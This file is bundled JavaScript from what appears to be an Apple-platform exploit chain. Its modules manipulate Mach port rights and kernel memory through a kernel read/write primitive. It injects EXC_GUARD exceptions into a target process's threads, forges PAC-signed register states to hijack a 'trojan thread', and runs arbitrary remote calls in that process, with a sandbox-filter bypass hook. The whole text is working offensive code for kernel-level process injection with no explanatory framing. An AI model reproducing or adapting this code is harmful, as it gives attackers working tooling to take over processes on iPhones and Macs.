//this.#dumpPort(portKaddr); libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].write64(pAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].offsets().ipNsRequest, portKaddr); //this.#dumpPort(pAddr); let previous = this.#notifyNoSenders(p, MACH_PORT_NULL); //console.log(TAG, "Previous right: " + Utils.hex(previous)); // Change the port rights from send once to send. this.#switchToSendRight(previous); //this.#fixRefCounts(portKaddr, -1, false); // We have a send right to the port, but it's not in our space's hash. // We send the port, then kill the entry. We'll properly receive it afterwards. let msgBuff = new ArrayBuffer(40); let msgHeader = new _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_3__["default"](msgBuff); msgHeader.msgh_id = 0x4141; msgHeader.msgh_remote_port = p; msgHeader.msgh_local_port = p; msgHeader.msgh_size = msgBuff.byteLength; msgHeader.msgh_bits = _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_3__["default"].MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, MACH_MSG_TYPE_MAKE_SEND); msgHeader.msgh_bits |= MACH_MSGH_BITS_COMPLEX; // we send a port descriptor let msgBody = new DataView(msgBuff, 24); msgBody.setInt32(0, 1, true); // msgh_descriptor_count msgBody.setUint32(4, previous, true); // name msgBody.setUint8(14, MACH_MSG_TYPE_COPY_SEND); // disposition msgBody.setUint8(15, MACH_MSG_PORT_DESCRIPTOR); // type //let wMsg64 = new BigUint64Array(msgBuff); //for (let i=0; i<5; i++) // console.log(TAG, `${i}: ${Utils.hex(wMsg64[i]).padStart(16, '0')}`); let msgMem = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem; libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write(msgMem, msgBuff); let ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_msg", msgMem, MACH_SEND_MSG, msgBuff.byteLength, 0, p, 0, 0); //console.log(TAG, "mach_msg: " + ret); //Native.callSymbol("sleep", 1); if (ret != 0) { let errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_error_string", ret); errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].readString(errString); console.log(TAG, `Error sending message: ${errString}`); return 0; } //console.log(TAG, "mach_msg send: " + ret); this.#killRight(previous); ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_msg", msgMem, MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].memSize, p, 1000, 0); if (ret != 0) { let errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_error_string", ret); errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].readString(errString); console.log(TAG, `Error receiving message: ${errString}`); return 0; } //console.log(TAG, "mach_msg recv: " + ret); //Native.callSymbol("sleep", 1); let rMsg = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read(msgMem, 40); //let rMsg64 = new BigUint64Array(rMsg); //for (let i=0; i<5; i++) // console.log(TAG, `${i}: ${Utils.hex(rMsg64[i]).padStart(16, '0')}`); msgBody = new DataView(rMsg, 24); previous = msgBody.getUint32(4, true); //console.log(TAG, "previous: " + Utils.hex(previous)); this.#fixRefCounts(portKaddr, -1); //this.#dumpPort(portKaddr); return previous; } static #newPort() { const options = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem; const buffer = new ArrayBuffer(8); const view = new DataView(buffer); view.setUint32(0, MPO_INSERT_SEND_RIGHT, true); view.setUint32(4, 0, true); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write(options, buffer); const newPortPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem + 0x100n; let kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_port_construct", TASK_SELF, options, 0n, newPortPtr); if (kr != 0) { console.log(TAG, `Error creating port: ${kr}`); return MACH_PORT_NULL; } return libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read32(newPortPtr); } static #switchToSendRight(port) { const entry = _Task__WEBPACK_IMPORTED_MODULE_4__["default"].getRightAddr(BigInt(port)); //console.log(TAG, "entry: " + Utils.hex(entry)); //this.#dumpEntry(entry); let bits = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].read32(entry + 0x8n); //console.log(TAG, "entry bits: " + Utils.hex(bits)); bits = (bits & ~IE_BITS_TYPE_MASK) | MACH_PORT_TYPE_SEND; libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].write32(entry + 0x8n, bits); //this.#dumpEntry(entry); } static #killRight(port) { const entry = _Task__WEBPACK_IMPORTED_MODULE_4__["default"].getRightAddr(BigInt(port)); //console.log(TAG, "entry: " + Utils.hex(entry)); //this.#dumpEntry(entry); let bits = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].read32(entry + 0x8n); //console.log(TAG, "entry bits: " + Utils.hex(bits)); bits = (bits & ~IE_BITS_TYPE_MASK) | MACH_PORT_TYPE_DEAD_NAME; libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].write64(entry, 0n); libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].write32(entry + 0x8n, bits); //this.#dumpEntry(entry); } static #fixRefCounts(portAddr, diff, updateRefs=true, updateSonce=true) { // Due to krw limitation, we cannot write at offset +132 of a 144 bytes struct, // since krw would write in chunks of 32 bytes and so would cause a memory overflow (panic). // So we read all the 144 bytes struct, changes values and then write it again as a whole. libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].read(portAddr, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, 144); let ipcPort = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, 144); let ipcPortView = new DataView(ipcPort); let refs = ipcPortView.getUint32(0x4, true); let sonce = ipcPortView.getUint32(Number(libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].offsets().ipSorights), true); //console.log(TAG, "refs: " + refs); //console.log(TAG, "sonce: " + sonce); refs += diff; sonce += diff; if (updateRefs) { //console.log(TAG, "new refs: " + refs); ipcPortView.setUint32(0x4, refs, true); } if (updateSonce) { //console.log(TAG, "new sonce: " + sonce); ipcPortView.setUint32(Number(libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].offsets().ipSorights), sonce, true); } libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, ipcPort); libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].writeZoneElement(portAddr, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, 144); } static #notifyNoSenders(port, notifyPort) { const MACH_NOTIFY_NO_SENDERS = 0o106; const previousPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem; const kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_port_request_notification", TASK_SELF, port, MACH_NOTIFY_NO_SENDERS, 0, notifyPort, MACH_MSG_TYPE_MAKE_SEND_ONCE, previousPtr); //console.log(TAG, "mach_port_request_notification: " + kr); if (kr != 0) return MACH_PORT_NULL; return libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read32(previousPtr); } static #dumpPort(pAddr) { console.log(TAG, "dump port: " + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(pAddr)); libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].read(pAddr, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, 0x90); let buff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, 0x90); let buff64 = new BigUint64Array(buff); for (let i=0; i<0x12; i++) console.log(TAG, `${i}: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(buff64[i]).padStart(16, '0')}`); } static #dumpEntry(entryAddr) { console.log(TAG, "dump entry: " + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(entryAddr)); libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].read(entryAddr, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, 24); let buff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, 24); let buff64 = new BigUint64Array(buff); for (let i=0; i<3; i++) console.log(TAG, `${i}: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(buff64[i]).padStart(16, '0')}`); } } /***/ }), /***/ "./src/libs/TaskRop/RegistersStruct.js": /*!*********************************************!*\ !*** ./src/libs/TaskRop/RegistersStruct.js ***! \*********************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ RegistersStruct) /* harmony export */ }); const TAG = "REGISTERSSTRUCT" class RegistersStruct { #dataView; constructor(buffer, offset = 0, length = 29) { this.#dataView = new DataView(buffer,offset, length * 8); this.length = length; } get(index) { if (index >= this.length || index < 0) { console.log(TAG,`Got wrong index in get:${index}`); return; } return this.#dataView.getBigUint64(index * 8, true); // true for little-endian } set(index, value) { if (index >= this.length || index < 0) { console.log(TAG,`Got wrong index in set`); return; } this.#dataView.setBigUint64(index * 8, BigInt(value), true); // true for little-endian } } /***/ }), /***/ "./src/libs/TaskRop/RemoteCall.js": /*!****************************************!*\ !*** ./src/libs/TaskRop/RemoteCall.js ***! \****************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ RemoteCall) /* harmony export */ }); /* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); /* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js"); /* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js"); /* harmony import */ var _Task__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./Task */ "./src/libs/TaskRop/Task.js"); /* harmony import */ var _Thread__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./Thread */ "./src/libs/TaskRop/Thread.js"); /* harmony import */ var _Exception__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./Exception */ "./src/libs/TaskRop/Exception.js"); /* harmony import */ var _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./ExceptionMessageStruct */ "./src/libs/TaskRop/ExceptionMessageStruct.js"); /* harmony import */ var _ThreadState__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! ./ThreadState */ "./src/libs/TaskRop/ThreadState.js"); /* harmony import */ var _PAC__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! ./PAC */ "./src/libs/TaskRop/PAC.js"); /* harmony import */ var _VM__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! ./VM */ "./src/libs/TaskRop/VM.js"); /* harmony import */ var _VMShmem__WEBPACK_IMPORTED_MODULE_10__ = __webpack_require__(/*! ./VMShmem */ "./src/libs/TaskRop/VMShmem.js"); /* harmony import */ var _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_11__ = __webpack_require__(/*! ./MachMsgHeaderStruct */ "./src/libs/TaskRop/MachMsgHeaderStruct.js"); /* harmony import */ var _PortRightInserter__WEBPACK_IMPORTED_MODULE_12__ = __webpack_require__(/*! ./PortRightInserter */ "./src/libs/TaskRop/PortRightInserter.js"); //import ExceptionThreadJS17 from '!raw-loader!./ExceptionThread17.js' //import ExceptionThreadJS18 from '!raw-loader!./ExceptionThread18.js' //import Offsets from "Driver/Offsets"; const TAG = "REMOTECALL" const GUARD_TYPE_MACH_PORT = 0x1n; const kGUARD_EXC_INVALID_RIGHT = BigInt(1 << 8); const SWITCH_OPTION_NONE = 0n; const fakePCTrojanCreator = 0x101n; const fakeLRTrojanCreator = 0x201n; const fakePCTrojan = 0x301n; const fakeLRTrojan = 0x401n; const __DARWIN_ARM_THREAD_STATE64_USER_DIVERSIFIER_MASK = 0xff000000n; const __DARWIN_ARM_THREAD_STATE64_FLAGS_IB_SIGNED_LR = 0x2; const __DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_PC = 0x4; const __DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_LR = 0x8; const SHMEM_CACHE_SIZE = 100; const MAP_PRIVATE = 0x0002n; const MAP_ANON = 0x1000n; class RemoteCall { #taskAddr; #creatingExtraThread; #firstExceptionPort; #secondExceptionPort; #firstExceptionPortAddr; #secondExceptionPortAddr; #dummyThread; #dummyThreadMach; #dummyThreadAddr; #dummyThreadTro; #selfThreadAddr; #selfThreadCtid; #trojanThreadAddr; #callThreadAddr; #originalState; #vmMap; #trojanMem; #localPort; #remotePort; #shmemCache = new Array(SHMEM_CACHE_SIZE); //#exceptionThreadCFString; #success = false; #threadList = []; #krwControlFd; #krwRwFd; #pid; constructor(param, migFilterBypass=null) { if(typeof(param) == "string") { console.log(TAG,`Getting task by name: ${param}`); this.#taskAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getTaskAddrByName(param); //console.log(TAG,`taskAddr:${Utils.hex(this.#taskAddr)}`); } else { console.log(TAG,`Getting task by pid: ${param}`); this.#taskAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getTaskAddrByPID(param); this.#pid = param; //console.log(TAG,`taskAddr:${Utils.hex(this.#taskAddr)}`); } if(!this.#taskAddr) { console.log(TAG,`Cannot get taskAddr, returning`); return null; } /* let threadmMem = 0n; const buildVer = Offsets.getBuildVersion(); if(buildVer && buildVer.startsWith("22")) { threadmMem = Native.callSymbol("malloc", ExceptionThreadJS18.length + 1); this.#exceptionThreadCFString = this.#writeCFStr(threadmMem, ExceptionThreadJS18); } else { threadmMem = Native.callSymbol("malloc", ExceptionThreadJS17.length + 1); this.#exceptionThreadCFString = this.#writeCFStr(threadmMem, ExceptionThreadJS17); } //Native.callSymbol("free", threadmMem); */ let firstExceptionPort = _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].createPort(); let secondExceptionPort = _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].createPort(); if (!firstExceptionPort || !secondExceptionPort) { console.log(TAG,`Couldn't create exception ports`); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_port_destruct", 0x203n, firstExceptionPort, 0n, 0n); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_port_destruct", 0x203n, secondExceptionPort, 0n, 0n); return null; } // Make sure the task won't crash after we handle an exception _Task__WEBPACK_IMPORTED_MODULE_3__["default"].disableExcGuardKill(this.#taskAddr); let guardCode = 0n; guardCode = this.#EXC_GUARD_ENCODE_TYPE(guardCode, GUARD_TYPE_MACH_PORT); guardCode = this.#EXC_GUARD_ENCODE_FLAVOR(guardCode, kGUARD_EXC_INVALID_RIGHT); guardCode = this.#EXC_GUARD_ENCODE_TARGET(guardCode, 0xf503n); let firstPortAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortAddr(firstExceptionPort); let secondPortAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortAddr(secondExceptionPort); //console.log(TAG,`Exception port 1:${Utils.hex(firstExceptionPort)} with kAddr:${Utils.hex(firstPortAddr)}`); //console.log(TAG,`Exception port 2:${Utils.hex(secondExceptionPort)} with kAddr:${Utils.hex(secondPortAddr)}`); let dummyThread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; let dummyFunc = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym("getpid"); //console.log(TAG,`dummyFunc:${Utils.hex(dummyFunc)}`); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_create_suspended_np",dummyThread, null, dummyFunc, null); dummyThread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read64(dummyThread); let dummyThreadMach = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_mach_thread_np",dummyThread)); let dummyThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(dummyThreadMach); let dummyThreadTro = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getTro(dummyThreadAddr); let threadSelf = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_thread_self")); let selfThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(threadSelf); let selfThreadCtid = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getCtid(selfThreadAddr); //console.log(TAG,`Dummy thread:${Utils.hex(dummyThreadMach)}`); //console.log(TAG,`Dummy thread object:${Utils.hex(dummyThreadAddr)}`); //console.log(TAG,`Dummy thread tro:${Utils.hex(dummyThreadTro)}`); //console.log(TAG,`Self thread:${Utils.hex(threadSelf)}`); //console.log(TAG,`Self thread object:${Utils.hex(selfThreadAddr)}`); //console.log(TAG,`Guard exc code:${Utils.hex(guardCode)}`); //console.log(TAG,`Self thread ctid:${Utils.hex(selfThreadCtid)}`); this.#creatingExtraThread = true; this.#firstExceptionPort = firstExceptionPort; this.#secondExceptionPort = secondExceptionPort; this.#firstExceptionPortAddr = firstPortAddr; this.#secondExceptionPortAddr = secondPortAddr; this.#dummyThread = dummyThread; this.#dummyThreadMach = dummyThreadMach; this.#dummyThreadAddr = dummyThreadAddr; this.#dummyThreadTro = dummyThreadTro; this.#selfThreadAddr = selfThreadAddr; this.#selfThreadCtid = selfThreadCtid; let retryCount = 0; let validThreadCount = 0; let successThreadCount = 0; let firstThread = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].firstThread(this.#taskAddr); let currThread = firstThread; this.#trojanThreadAddr = firstThread; if (migFilterBypass) migFilterBypass.resume(); while ( true && successThreadCount < 2 && validThreadCount < 5 && retryCount < 3) { let task = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getTask(currThread); if (!task) { if (!validThreadCount) { console.log(TAG, `failed on getting first thread at all, resetting first thread and currThread`); firstThread = currThread = this.#retryFirstThread(migFilterBypass); retryCount++; continue; } else break; } //console.log(TAG,`Trying Inject EXC_GUARD on thread:${Utils.hex(currThread)} with tro task:${Utils.hex(task)}`); if (task == this.#taskAddr) { if (!this.#setExceptionPortOnThread(this.#firstExceptionPort, currThread, migFilterBypass)) { console.log(TAG, `Set exception port on thread:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(currThread)} failed, not injecting`); if (!validThreadCount) { console.log(TAG, `failed on first thread, resetting first thread and currThread`); firstThread = currThread = this.#retryFirstThread(migFilterBypass); retryCount++; continue; } } else { // Inject a EXC_GUARD exception on this thread if (!_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].injectGuardException(currThread, guardCode)) { console.log(TAG,`Inject EXC_GUARD on thread:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(currThread)} failed, not injecting`); if (!validThreadCount) { console.log(TAG, `failed on first thread, resetting first thread and currThread`); firstThread = currThread = this.#retryFirstThread(migFilterBypass); retryCount++; continue; } } else { successThreadCount++; this.#threadList.push(currThread); console.log(TAG, `Inject EXC_GUARD on thread:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(currThread)} OK`); } } validThreadCount++; } else if (task && !validThreadCount) { console.log(TAG,`Got weird tro on first thread, resetting first thread and currThread`); firstThread = currThread = this.#retryFirstThread(migFilterBypass); retryCount++; continue; } let next = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].next(currThread); if (!next) { if (!validThreadCount) { console.log(TAG, `Got empty next thread on first thread. Retry`); firstThread = currThread = this.#retryFirstThread(migFilterBypass); retryCount++; continue; } else { console.log(TAG, "Break because of empty next thread"); break; } } currThread = next; } if (migFilterBypass) migFilterBypass.pause(); console.log(TAG, `Valid threads: ${validThreadCount}`); console.log(TAG, `Injected threads: ${successThreadCount}`); if (!this.#threadList.length) { console.log(TAG, "Exception injection failed. Aborting."); this.destroy(); return null; } let excBuffer = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; // Since we are in background, we don't mind to wait a lot! if(!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#firstExceptionPort,excBuffer,120000,false)) { console.log(TAG, `Failed to receive first exception`); this.destroy(); return null; } //console.log(TAG,`Got first exception succesfully`); let excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize)); let exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes); // Save state to restore its execution after trojan thread creation TODO make it inside ThreadState to copy thread state to another variable let originalStateBuff = new ArrayBuffer(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ARM_THREAD_STATE64_SIZE); this.#originalState = new _ThreadState__WEBPACK_IMPORTED_MODULE_7__["default"](originalStateBuff); for(let i = 0; i < 29; i++) { this.#originalState.registers.set(i,exc.threadState.registers.get(i)); } this.#originalState.opaque_fp = exc.threadState.opaque_fp; this.#originalState.opaque_lr = exc.threadState.opaque_lr; this.#originalState.opaque_sp = exc.threadState.opaque_sp; this.#originalState.opaque_pc = exc.threadState.opaque_pc; this.#originalState.cspr = exc.threadState.cspr; this.#originalState.opaque_flags = exc.threadState.opaque_flags; //console.log(TAG,`Clear EXC_GUARD from all other threads...`); for(let i = 0; i < this.#threadList.length;i++) { _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].clearGuardException(this.#threadList[i]); //console.log(TAG,`Clear EXC_GUARD on thread:${Utils.hex(this.#threadList[i])} OK`); } console.log(TAG,`Finish clearing EXC_GUARD from all other threads...`); let desiredTimeout = 1500; // Flush exceptions in other threads (is that really needed?) while (true) { let excBuffer = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#firstExceptionPort, excBuffer, desiredTimeout, false)) break; let excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize)); let exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes); //threadClearGuardException(remoteCall->trojanThreadAddr); _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, exc.threadState,false); } //console.log(TAG,`finished flushing exceptions`); let newState = exc.threadState; //console.log(TAG,`gadget_pacia:${Utils.hex(PAC.gadget_pacia)}`); newState = this.#signState(firstThread, newState, fakePCTrojanCreator, fakeLRTrojanCreator); //console.log(TAG,`updated PC:${Utils.hex(newState.opaque_pc)} and LR:${Utils.hex(newState.opaque_lr)}`); _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, newState, false); //console.log(TAG,`Trojan thread created`); //console.log(TAG,`Test remote getpid()`); //let pidRemote = this.#doRemoteCallTemp(100, "getpid"); //console.log(TAG,`pidRemote:${pidRemote}`); // Use stack as a temporary remote memory let trojanMemTemp = exc.threadState.opaque_sp & 0x7fffffffffn; //console.log(TAG,`Remote memory:${Utils.hex(trojanMemTemp)}`); // Substracting a bit from stack pointer to not corrupt original stack trojanMemTemp = trojanMemTemp - 0x100n; this.#vmMap = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getMap(this.#taskAddr); //console.log(TAG,`vmMap:${Utils.hex(this.#vmMap)}`); // Create a remote pthread that should always crash on first execution, so we can control it with exceptions. let remoteCrashSigned = _PAC__WEBPACK_IMPORTED_MODULE_8__["default"].remotePAC(this.#trojanThreadAddr, fakePCTrojan, 0n); //console.log(TAG,`remoteCrashSigned:${Utils.hex(remoteCrashSigned)}`); let ret = this.#doRemoteCallTemp(100, "pthread_create_suspended_np", trojanMemTemp, 0n, remoteCrashSigned); //console.log(TAG,`pthread_create_suspended_np:${Utils.hex(ret)}`); //VM.mocker(0x221d54,0xffffffdc08875500n); let pthreadAddr = this.read64(BigInt(trojanMemTemp)); //console.log(TAG,`pthreadAddr:${Utils.hex(pthreadAddr)}`); // Get mach port of the new thread and set exception port on it. let callThreadPort = this.#doRemoteCallTemp(100, "pthread_mach_thread_np", pthreadAddr); //console.log(TAG,`Call thread port:${Utils.hex(callThreadPort)}`); if (callThreadPort == 0n) { console.log(TAG,`Cannot find callThreadPort`); this.destroy(); return null; } this.#callThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObjectOfTask(this.#taskAddr, BigInt(callThreadPort)); //console.log(TAG,`Call thread addr:${Utils.hex(this.#callThreadAddr)}`); // Note that this exception port is not the same of the initial exception port we use for existing threads. if (migFilterBypass) migFilterBypass.resume(); if (!this.#setExceptionPortOnThread(this.#secondExceptionPort, this.#callThreadAddr, migFilterBypass)) { console.log(TAG,`Failed to set new exception port on newly created thread, trying one more time before giving up, creating new thread`); dummyThread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_create_suspended_np",dummyThread, null, dummyFunc, null); dummyThread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read64(dummyThread); this.#dummyThreadMach = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_mach_thread_np",dummyThread)); this.#dummyThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(this.#dummyThreadMach); this.#dummyThreadTro = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getTro(this.#dummyThreadAddr); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("sleep",1n); if (!this.#setExceptionPortOnThread(this.#secondExceptionPort, this.#callThreadAddr, migFilterBypass)) { if (migFilterBypass) migFilterBypass.pause(); this.destroy(); return null; } } if (migFilterBypass) migFilterBypass.pause(); console.log(TAG,`All good so far! Now we resume trojan thread...`); // Ok, now we are ready to start this thread and catch exceptions on it. ret = this.#doRemoteCallTemp(100, "thread_resume", callThreadPort); //console.log(TAG,`thread_resume():${ret}`); if (ret !== 0n) { console.log(TAG,`Couldn't resume newly created thread, falling back to use original one only`); this.#creatingExtraThread = false; } if (this.#creatingExtraThread) { console.log(TAG,`New thread created succesfully, resuming original`); this.#restoreTrojanThread(this.#originalState); } console.log(TAG, `Original thread restored succesfully`); // From this point on, the "stable" trojan thread is ready to process calls. //console.log(TAG, `Original thread restored succesfully, testing getpid on stable primitive`); this.#pid = this.#doRemoteCallStable(100, "getpid"); console.log(TAG, `Task pid: ${this.#pid}`); //this.#trojanMem = trojanMemTemp; //this.#testRWPrim(); // Allocate a general purpose remote page mem. this.#trojanMem = this.#doRemoteCallStable(1000,"mmap", 0n, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_SIZE, _VM__WEBPACK_IMPORTED_MODULE_9__["default"].VM_PROT_READ | _VM__WEBPACK_IMPORTED_MODULE_9__["default"].VM_PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1n); //console.log(TAG,`Newly mapped memory:${Utils.hex(this.#trojanMem)}`); // Memory must be written at least once (COW) to be found in vmMap. this.#doRemoteCallStable(100,"memset",this.#trojanMem, 0n, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_SIZE); this.#success = true; console.log(TAG,`Finished for now succesfully`); } success() { return this.#success; } krwCtx() { return { controlFd: this.#krwControlFd, rwFd: this.#krwRwFd }; } pid() { return this.#pid; } #testRWPrim() { console.log(TAG,`Testing RW prim`); let arr = new ArrayBuffer(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE); let arrView = new DataView(arr); arrView.setBigUint64(0,0x41414141n,true); let memBuff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].write(memBuff,arr); this.write(BigInt(this.#trojanMem),memBuff,BigInt(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE)); memBuff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem + 0x100n; this.read(BigInt(this.#trojanMem),memBuff,BigInt(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE)); let resBuff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(memBuff,libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE); let resView = new DataView(resBuff); let result = resView.getBigUint64(0,true); 